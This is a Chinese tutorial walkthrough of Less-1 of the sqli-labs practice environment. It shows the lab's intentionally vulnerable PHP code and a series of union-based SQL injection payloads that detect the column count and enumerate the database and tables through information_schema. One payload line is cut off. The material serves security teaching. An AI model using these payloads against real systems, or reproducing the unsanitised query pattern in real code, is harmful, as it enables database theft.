Less-1-布尔盲注
环境源代码
1 <?php 2 //including the Mysql connect parameters. 3 include("../sql-connections/sql-connect.php"); 4 error_reporting(0); 5 // take the variables 6 if(isset($_REQUEST['id'])) 7 { 8 $id=$_REQUEST['id']; 9 //logging the connection parameters to a file for analysis. 10 $fp=fopen('result.txt','a'); 11 fwrite($fp,'ID:'.$id."\n"); 12 fclose($fp); 13 14 // connectivity 15 16 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 17 // echo $sql; 18 // echo "</br>"; 19 $result=mysql_query($sql);//这是返回sql查询的结果 20 $row = mysql_fetch_array($result); 21 22 if($row) 23 { 24 echo "<font size='5' color= '#99FF00'>"; 25 echo 'Your Login name:'. $row['username']; 26 echo "<br>"; 27 echo 'Your Password:' .$row['password']; 28 echo "</font>"; 29 } 30 else 31 { 32 echo '<font color= "#FFFF00">'; 33 print_r(mysql_error()); 34 echo "</font>"; 35 } 36 } 37 else { echo "Please input the ID as parameter with numeric value";} 38 39 ?>
get请求,接收变量id,并赋值给result.txt文件,然后执行sql
SQL利用特性
1、正常查询,id赋值>0的正整数,比如id=1时,根据SQL匹配id=1的用户信息返回到前端
2、MySQL语法错误提示,直接打印到前端,比如id=1',时,SELECT * FROM users WHERE id='1‘’ LIMIT 0,1,会报错,能够凭此确认SQL发生了不闭合:

3、MySQL语法闭合尝试,MySQL两种注释可以忽略后边的内容(-- - 或者#),由于是通过http传递,需要注意url编码
RFC3986 协议对 URL 的编解码问题做出了详细的建议,指出了哪些字符需要被编码才不会引起 URL 语义的转变, 以及对为什么这些字符需要编码做出了相应的解释。
RFC3986 协议规定 URL 只允许包含以下四种字符:
1、英文字母(a-zA-Z)
2、数字(0-9)
3、-_.~ 4个特殊字符
4、所有保留字符,RFC3986 中指定了以下字符为保留字符(英文字符): ! * ' ( ) ; : @ & = + $ , / ? # [ ]

基于以上逻辑,id= 3‘ %23 或,id=3 -- -可以实现SQL闭合

4、MySQL语法托库
判断查询结果的字段梳数量:id=3' order by 3 -- -
确定字段数量执行联合查询,并显示到前端:id=-3' union select 1,2,3 -- -
按照显示占用位输出关键信息:id=3' union select 1,database(),3 -- -
利用SQL特性查询该数据库中的表:id=-3' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 -- -
利用SQL特性查询表字段:id=-3

4、SQL解析
(select group_concat(table_name) from information_schema.tables where table_schema=database())
information_schema 是MySQL自带元数据库,相当于数据库的总字典,记录所有库、表、列的元信息,不存储业务数据。table_schema表所属的数据库名(库名),table_name表的名字,table_type表类型
database()MySQL 内置函数,返回当前正在使用的数据库名字(就是 web 应用连接的那个库)。MySQL 内置函数,返回当前正在使用的数据库名字(就是 web 应用连接的那个库)。
GROUP_CONCAT()MySQL 聚合函数,把多条行结果拼接成 1 个字符串,用逗号分隔。


其他盲注
less2:id = 3 -- -

浙公网安备 33010602011771号